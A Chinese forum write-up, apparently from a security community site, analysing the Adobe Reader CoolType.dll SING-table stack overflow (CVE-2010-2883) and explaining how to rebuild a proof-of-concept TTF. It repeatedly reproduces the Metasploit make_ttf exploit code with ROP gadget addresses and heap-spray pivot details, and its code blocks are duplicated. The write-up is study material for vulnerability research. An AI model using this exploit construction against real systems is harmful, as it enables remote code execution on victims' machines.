首页
社区
课程
招聘
[原创]CVE-2010-2883分析_更新:如何自己构造poc文件
发表于: 2021-7-6 18:57 16261

[原创]CVE-2010-2883分析_更新:如何自己构造poc文件

2021-7-6 18:57
16261

相关文件可以在《漏洞战争》这本书的配套资料中获取

该漏洞是Adobe Reader和Acrobat中的CoolType.dll库在解析字体文件SING表中的uniqueName项时存在的栈溢出漏洞。

之前漏洞分析一直参考的0day这本书,这次开始看《漏洞战争》,(只针对这一个漏洞)发现里面对于一些细节并没有特别说明,导致我在分析的时候还是满头雾水,虽然按照书中的介绍也能够分析出来,但还是觉得各个步骤之间的逻辑关系不够明确。

现在已知存在漏洞的文件,同时书中配套资料也提供了poc的PDF文件。我首先想知道的是文件字体SING表究竟是什么东西,以及CoolType.dll文件中具体哪里存在漏洞这两个问题。

我直接做了一张思维导图,包含了TTF文件和SING表的结构组成:

图片描述

TTF文件的结构十分简单,它是由一系列的表组成的,开头是一个Font Directory,记录了整个文件以及各个表的信息。每个表都有一个四字节的标签,SING就是一个标签。要注意的是,每个Table Directory的顺序和后面的各个表的顺序并不是一一对应的,要根据Table Directory中的offset值找到对应表的位置。

每个表都包含了关于字体的不同信息,SING(Smart INdependent Glyphlets)表中包含的是和生僻字有关的信息。

在IDA中打开CoolType.dll这个文件,搜索SING字符串,查看其交叉引用,

图片描述

在第二项中,可以看到在引用SING字符串下面的不远处,有一个strcat函数调用,所以大概率应该就是这里存在漏洞了,位于函数0x803DCF9中。

看一下漏洞所在函数的代码:

图片描述

上面的代码已经做了部分处理和注释,这里用到一个技巧,就是按Shift+F1,打开Local Types窗口,再按Insert,插入C语言写的结构体SING,然后修改变量类型为SING,这样比较方便分析。

图片描述

从上面这段代码判断可以得出一些简单的结论,TTF文件中不存在name表,sing表的tableVersionMajor等于0或者0x100。这种情况下会到达漏洞处。

其实前面还有一些判断条件我没有确定是什么意思,但目前只能分析到这个程度,虽然再花时间也能分析出来,但是会花费太长时间,所以我选择继续分析其他内容。

TTF文件的提取可以使用PDFStreamDumper,

图片描述

可以看到其中的SING字符串,如果查看Stream Details也能够看到这是一个ttf类型。然后右键选择Save Decompressed Stream,在010editor中打开这个文件,可以直观的看到TTF的结构:

图片描述

紧接着上面看到的TTF文件,看一下msf是怎么构建这个文件的:

msf使用的基础TTF文件是Vera.ttf (785d2fd45984c6548763ae6702d83e20),然后对这个文件内容进行修改。

然后开始构造SING表,前十六个字节如下,可以看到tableVersionMajor设成了0

uniqueName字段先是被初始化成了随机字符sing << rand_text(0x254 - sing.length),然后再设置几个特殊位置用于作为跳转地址,这部分内容先不考虑,等之后开始调试再分析。

最后设置了ttf文件的0xec0x11c的位置,我们可以看一下原始的Vera.ttf文件,这两个位置上是什么内容:

图片描述

从上图可以看出来,代码其实是将原本的name表的tag修改成了sing,同时用sing表的内容替换了位于0x11C的原本name表的内容。这也与静态分析的结论相符合——TTF文件中不存在name表。

在上面有看到TTF文件中设置了几个特殊的位置,分别是:

下面通过调试确定这几个位置的作用。

找到了漏洞的位置之后,使用之前在0day上学习到的调试PDF漏洞的方法,使用OD打开Adobe Reader,选择FileOpen,在打开POC之前,在0x803DCF9这里设置一个断点,然后打开POC文件,OD会断在断点位置,在这里打一个快照方便之后回溯。

然后执行到0x0803DDABstrcat调用处,F8执行,可以看到0x12E4D8已经被写入了sing表的uniquename内容:

图片描述

接下来要确定程序的执行流程是在哪里被劫持的,直接在复制的这段数据上设置内存访问断点(这个方法很好,一开始我还想靠代码分析,后来发现完全不行,太复杂了),F9执行。

接下来会经历两次对该段数据的遍历,这里不用管,已知到达了一个调用:

图片描述

注意到这里调用的地址就保存在uniquename中,也就是上面提到的第二个特殊位置:

进入该调用,此时寄存器的情况:

图片描述

add ebp, 0x794 / leave这两句指令会更新ebp和esp寄存器,leave指令相当于mov esp, ebp / pop ebp,相当于:

所以最后执行完retn指令,相当于把uniquename中的第9~12个字节作为了下一个跳转地址,也就是上面提到的第三个特殊位置:

uniquename中的第13~16字节是0x0C0C0C0C,也就是上面提到的第四个特殊位置:

0x4a82a714处的指令为pop esp / retn,所以从这一步之后,栈顶就到了payload所在的位置了

图片描述

到目前位置已经确定了三个特殊位置字节的作用,但是还有第一个和第五个特殊位置不知道有什么用(当然注释里面其实已经说了(lll¬ω¬))

为了测试这两个位置字节的作用,在执行strcat之前,手工修改要复制的内容(后来通过修改msf的脚本直接在kali里面生成TTF文件,下面写了):

图片描述

其中绿框圈中的是已知的特殊位置,蓝框圈中的是未知特殊位置。

然后还是设置内存访问断点,F9开始调试,跳过前两遍遍历之后,到达了下面这个位置:

图片描述

这个时候如果继续F9,程序会直接退出,所以这里F7进入下面那个call指令,会到达下面的位置:

图片描述

注意这里赋给ECX寄存器0x12E45C处存储的值,也就是我们关注的第一个特殊位置,继续F8,到达这里:

图片描述

总结下来:

所以0x12e45c这里一定要存储一个可写的地址,这也是代码中有一个- 0x1c的原因。

看一下内存空间:

图片描述

手动把EAX的值改成0x4a8a08e2,让程序可以继续执行。

结果继续F9,程序成功到达了payload的位置。嗯???那第五个特殊位置的值到底有什么用?

其实一开始我也想到要执行执行ruby的脚本获取测试用TTF文件,但是嫌弃它有点麻烦,就先采取了手工修改内存的方式,结果还是出了问题……

因为我没有仔细注意uniquename的长度问题,可以对比一下是否添加sing[0x24c, 4] = [0x6c].pack('V')这句代码,得到的TTF文件的差别:

图片描述

所以一定要设置一个\x00的结尾字符,否则strcat无法判断字符串结尾,会一直向后复制

注:这里我想到了CVE-2009-0927这个漏洞,是否可以复制超长字符串引发异常,然后覆盖异常处理函数的方法,但是后来发现不行,因为第一个异常处理函数并没有被覆盖到。

然后现在的问题就在于是否一定要设置6C这个字符(根据上面的实验结果应该是不需要的),以及是否一定要设置在0x24c这个位置上。

因为之前已经确定了几个特殊位置,我决定把上面的那句代码修改为sing[0x20c, 4] = [0x00].pack('V'),经过测试仍然可以到达payload位置执行。

所以第五个特殊位置只是为了保证字符串有一个\x00的结尾(因为实验次数不多,而且没有看代码,这个结论不敢保证100%正确):

我并没有想再完整的分析完payload的内容,但是在调试的过程中,确实存在一些问题想要弄清楚。

目前还没有看poc中javascript的代码是什么样子的,不过知道采用的仍旧是堆喷射的手法。在之前学习堆喷射的时候,了解到的是javascipt在堆中分配一大块内存,把shellcode放在里面,其余内存设置为\x90,然后在溢出时覆盖跳转地址为0x0C0C0C0C,这个地址一定在堆分配的地址中,这样经过了一段nop指令之后,一定会命中shellcode。

可是在调试这个漏洞的时候,发现程序在到达0x0C0C0C0C之后,需要的数据刚好位于0x0C0C0C0C的位置,所以这里的javascript的代码肯定和我一开始想的不太一样

图片描述

从PDF中提取出来的javascript代码如下:

我做了一些整理,得到下面的代码:

在理解为什么0x0C0C0C0C的位置恰好是需要的数据时,有一个知识点需要知道:系统在分配内存的时候,低二字节的地址不会改变,比如第一次申请的地址可能是0x123450000,第二次可能变成了0x23450000,但是后面的四位是不变的。

知道了这一点,我们看代码中得到的一个64KB的数据段temp = block.substring(0, 65536/2);,要知道64KB就是0x10000字节,刚刚好就占据了后四位地址,也就是说不管内存怎么分配,这64KB数据的相对位置都是不变的。

总结下来,array_d中的每个元素(1M数据)的结构是这样的

图片描述

所以,0x0C0C0C0C的位置永远都是需要的数据。

在0day安全中,在讲堆喷射的时候,提到了”Java会为申请到的内存添加一些额外的信息“,前面会添加32字节的头部和4字节的字符串大小,但是我在调试的时候发现,查看内存布局,1M内存里面只有前面的32个字节是添加的数据。可能是关键字不对,我也没有搜索到什么资料,不知道有没有大佬知道细节。

图片描述

我其实不太熟悉ROP(Return-Oriented Programming)的概念,但是查了一些资料,感觉原理和ret2libc差不多,所以这里跟踪调试一下整个流程。

这部分还要涉及到上面TTF文件分析的部分内容,要从3.2.1里面提到的call [eax]开始说起,因为从这里开始,就已经进入ROP了。

上面的三段流程就对应了之前提到的TTF文件中的第2、3、4三个特殊位置,然后开始javascript部分。看一下栈中数据,这部分内容来自msf脚本:

图片描述

以上就是ROP的整个流程了,虽然很长,但是分成不同的模块之后就会发现,主要模块有两个(绿色和蓝色),分别用于准备函数参数和进行函数调用,紫色模块就是一些数值操作。

这次的漏洞分析学习到了一下几点知识:

使用pattern_create.rb生成字符串粘贴到sing表的数据部分

关于生成的长度:不能太长,否则进行strcat复制到栈中时,会直接写到不可写的范围,导致程序终止。经过调试判断,这里选择长度0x2000

选择原文件中uniquename字段中前1000个字节,进行数据替换,并修改最后三个字节为0x00

继续执行,程序中断

eax这里无法写入,看一下eax的来源:

来自[ecx+1Ch],而ecx的值是f1a3e9a3。所以我们需要在生成的文本中找到a3e9a3f1,并把它替换成一个可写的地址。

通过!address命令查看内存,找一块可写的内存,我选择的是0x23949228

替换后,重复上述步骤,会发现程序直接退出了。

调试发现,退出行为发生在.text:0803DEE1 E8 A9 A2 00 00 call @__security_check_cookie@4 ;处,所以猜测是覆盖的数据太多,导致check_cookie失败了,仔细检查这里的代码:

注意这里ecx和ebp做异或之后就是要检查的cooki值,而ecx的值来自0012e5dc,是c6a3c5a3

所以需要在生成文本中找到0xa3c5a3c6,但是发现这个数值的位置甚至还在第6步的可写内存地址之前,因为已经有了上面的分析经验,所以知道现在的分析步骤肯定是存在问题的

<aside>
如果没有之前的分析步骤,直接自己写的话,我应该会不断修改替换的数据长度,这中间肯定要耗费一定时间,但是最终找到正确方向是没什么问题的。

</aside>

为了方便设置内存访问断点,还是使用OD调试,在程序到达上一步可写内存的指令后,设置strcat目标地址处的内存访问断点

第一次中断在0x8001263,这里获取的数值不影响程序的执行流程;

第三次中断在0x801BA64,程序尝试从0012E71C获取值C4A6C3A6。从IDA中看静态代码,这里数据的取址会直接影响该函数的返回值:

单步继续执行,函数返回的是0,回到0x8016c3a。由于返回值是0,下面的跳转指令生效。为了测试这个跳转对于此次漏洞利用有没有影响,重新设置EIP的值,让程序不跳转,拍摄个快照,然后F9继续执行,由于内存断点没有取消,会发现程序中断在了check_cookie之前,然后继续单步就失败了

也就是说无论这里跳不跳转,程序最终都会因为check_cookie失败,我们生成的长度肯定是太长了。

根据数据生成规律,C4A6C3A6这个值要靠后很多,在生成数据中搜索,并把它前面的三个字节设置为0x00。

使用最新生成的poc.pdf进行调试测试,这次程序在0x801BA64所在函数返回了一个非0值,因此后续跳转指令没有实现。F9继续执行,会发现程序中断在了0xe2a5e1a5

观察调用栈信息:

找到了返回地址0808b30a

成功定位到了流程被劫持的位置。

接下来需要在生成数据中搜索0xa5e1a5e2,并把它替换成跳板指令所在的地址,但是跳板指令是什么呢?

我们的目标是通过pop retn0x0C0C0C0C成为栈顶,然后继续ROP的执行

需要看一下寄存器的值,上面已经贴出了:

目前可控数据所处的地址范围是0x12e4d8~0x12e71c

最理想的情况就是让esp加上一定的值(这里是0x7B4~0x9F8),到达可控数据范围,然后pop esp修改esp为0x0c0c0c0c,再加一个retn

pop esp retn指令很好找(寻找的范围是Adobe Reader中一个DLL文件的加载地址):

但是想在前面再加上一个add esp指令就不好找了,这也是为什么msf的代码中使用的使用add ebp + leave retn的模式,先对ebp进行计算,然后通过leave指令将其移动到esp中。

如果是对ebp进行加法,可能的范围就是0x790~0x9D4,不知道0x794这个数值是不是实验出来的,按照四字节对齐,第二次就是实验出来:

第一个跳板指令是add ebp + leave retn,把它的地址081586a5放到0xa5e1a5e2的位置,然后还是上述步骤调试,发现已经可以正常跳转到add ebp, 794h了:

ebp+0x794=0x12e4dc,leave指令相当于mov esp, ebp; pop ebp,因此leave指令之后,esp的数值应该是0x12e4dc+4=0x12e4e0,此时再执行retn,就会在0x12e4e0处的数值移入EIP中。

在Windbg中查看:

这里的数据是a6a1a5a1。因此在生成数据中搜索0xa1a5a1a6,并将其替换为指令pop esp retn的地址060280c7

在执行pop esp之前,由于前面的retn指令,此时esp应该指向0x12e4e4,因此要把这里的数据修改成0x0C0C0C0C。

全部修改完毕后,还是按照之前的步骤,形成poc.pdf,然后用Windbg调试,最后到达了0x0c0c0c0c位置,按照ROP的流程继续往下执行:

注意此时esp已经是0x0c0c0c0c了。

 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
def make_ttf
        ttf_data = ""
 
        # load the static ttf file
 
        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
        path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
        fd = File.open( path, "rb" )
        ttf_data = fd.read(fd.stat.size)
        fd.close
 
        # Build the SING table
        sing = ''
        sing << [
            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
            0xe01# glyphletVersion
            0x100# embeddingInfo
            0,      # mainGID
            0,      # unitsPerEm
            0,      # vertAdvance
            0x3a00  # vertOrigin
        ].pack('vvvvvvvv')
        # uniqueName
        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
        #sing << "A" * (0x254 - sing.length)
        sing << rand_text(0x254 - sing.length)
 
        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
        sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
        # This becomes our new EIP (puts esp to stack buffer)
        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
        sing[0x208, 4] = [ret].pack('V')
 
        # This becomes the new eip after the first return
        ret = 0x4a82a714
        sing[0x18, 4] = [ret].pack('V')
 
        # This becomes the new esp after the first return
        esp = 0x0c0c0c0c
        sing[0x1c, 4] = [esp].pack('V')
 
        # Without the following, sub_801ba57 returns 0.
        sing[0x24c, 4] = [0x6c].pack('V')
 
        ttf_data[0xec, 4] = "SING"
        ttf_data[0x11c, sing.length] = sing
 
        ttf_data
    end
def make_ttf
        ttf_data = ""
 
        # load the static ttf file
 
        # NOTE: The 0day used Vera.ttf (785d2fd45984c6548763ae6702d83e20)
        path = File.join( Msf::Config.install_root, "data", "exploits", "cve-2010-2883.ttf" )
        fd = File.open( path, "rb" )
        ttf_data = fd.read(fd.stat.size)
        fd.close
 
        # Build the SING table
        sing = ''
        sing << [
            0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
            0xe01# glyphletVersion
            0x100# embeddingInfo
            0,      # mainGID
            0,      # unitsPerEm
            0,      # vertAdvance
            0x3a00  # vertOrigin
        ].pack('vvvvvvvv')
        # uniqueName
        # "The uniqueName string must be a string of at most 27 7-bit ASCII characters"
        #sing << "A" * (0x254 - sing.length)
        sing << rand_text(0x254 - sing.length)
 
        # 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
        sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
        # This becomes our new EIP (puts esp to stack buffer)
        ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
        sing[0x208, 4] = [ret].pack('V')
 
        # This becomes the new eip after the first return
        ret = 0x4a82a714
        sing[0x18, 4] = [ret].pack('V')
 
        # This becomes the new esp after the first return
        esp = 0x0c0c0c0c
        sing[0x1c, 4] = [esp].pack('V')
 
        # Without the following, sub_801ba57 returns 0.
        sing[0x24c, 4] = [0x6c].pack('V')
 
        ttf_data[0xec, 4] = "SING"
        ttf_data[0x11c, sing.length] = sing
 
        ttf_data
    end
 
sing << [
    0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
    0xe01# glyphletVersion
    0x100# embeddingInfo
    0,      # mainGID
    0,      # unitsPerEm
    0,      # vertAdvance
    0x3a00  # vertOrigin
].pack('vvvvvvvv')
sing << [
    0, 1,   # tableVersionMajor, tableVersionMinor (0.1)
    0xe01# glyphletVersion
    0x100# embeddingInfo
    0,      # mainGID
    0,      # unitsPerEm
    0,      # vertAdvance
    0x3a00  # vertOrigin
].pack('vvvvvvvv')
 
 
 
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
 
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')
 
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
 
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
# 0xffffffff gets written here @ 0x7001400 (in BIB.dll)
sing[0x140, 4] = [0x4a8a08e2 - 0x1c].pack('V')
 
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
 
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')
 
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
 
# Without the following, sub_801ba57 returns 0.
sing[0x24c, 4] = [0x6c].pack('V')
 
 
 
 
 
 
 
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
# This becomes our new EIP (puts esp to stack buffer)
ret = 0x4a80cb38 # add ebp, 0x794 / leave / ret
sing[0x208, 4] = [ret].pack('V')
 
 
ebp = ebp + 0x794// 0x12e4dc,注意这个地址是uniquename中的第五个字节所在位置
esp = ebp;
ebp = [0x12e4dc];   // 0xe78b53ab
esp = esp + 4;      // 0x12e4e0
ebp = ebp + 0x794// 0x12e4dc,注意这个地址是uniquename中的第五个字节所在位置
esp = ebp;
ebp = [0x12e4dc];   // 0xe78b53ab
esp = esp + 4;      // 0x12e4e0
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')      # 注意这个偏移0x18是从sing表的开头计算
# This becomes the new eip after the first return
ret = 0x4a82a714
sing[0x18, 4] = [ret].pack('V')      # 注意这个偏移0x18是从sing表的开头计算
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
# This becomes the new esp after the first return
esp = 0x0c0c0c0c
sing[0x1c, 4] = [esp].pack('V')
 
 
 
 
 
 
 
 
 
 
 

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

最后于 2022-2-8 18:56 被LarryS编辑 ,原因: 更新了一部分内容
收藏
免费 7
支持
分享
最新回复 (1)
雪    币: 12125
活跃值: (10424)
能力值: ( LV13,RANK:660 )
在线值:
发帖
回帖
粉丝
2
T一下,最近在回顾自己写的文章,因此又更新了一部分内容
2022-2-8 18:56
0
游客
登录 | 注册 方可回帖
返回
//